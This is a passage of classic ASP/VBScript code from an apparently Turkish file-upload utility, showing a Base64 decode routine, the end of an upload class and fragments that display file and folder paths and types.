DecodeStr(byVal strIn) Dim w1, w2, w3, w4, n, strOut For n = 1 To Len(strIn) Step 4 w1 = mimedecode(Mid(strIn, n, 1)) w2 = mimedecode(Mid(strIn, n + 1, 1)) w3 = mimedecode(Mid(strIn, n + 2, 1)) w4 = mimedecode(Mid(strIn, n + 3, 1)) If w2 >= 0 Then _ strOut = strOut + _ Chr(((w1 * 4 + Int(w2 / 16)) And 255)) If w3 >= 0 Then _ strOut = strOut + _ Chr(((w2 * 16 + Int(w3 / 4)) And 255)) If w4 >= 0 Then _ strOut = strOut + _ Chr(((w3 * 64 + w4) And 255)) Next DecodeStr = strOut End Function Private Function mimeencode(byVal intIn) If intIn >= 0 Then mimeencode = Mid(Base64Chars, intIn + 1, 1) Else mimeencode = "" End If End Function End Class 'Upload Sınıfları Bitiş%>
"&Dosyax.Path&" "&Dosyax.Type&"
"&AltKla.Path&" "&AltKla.Type&"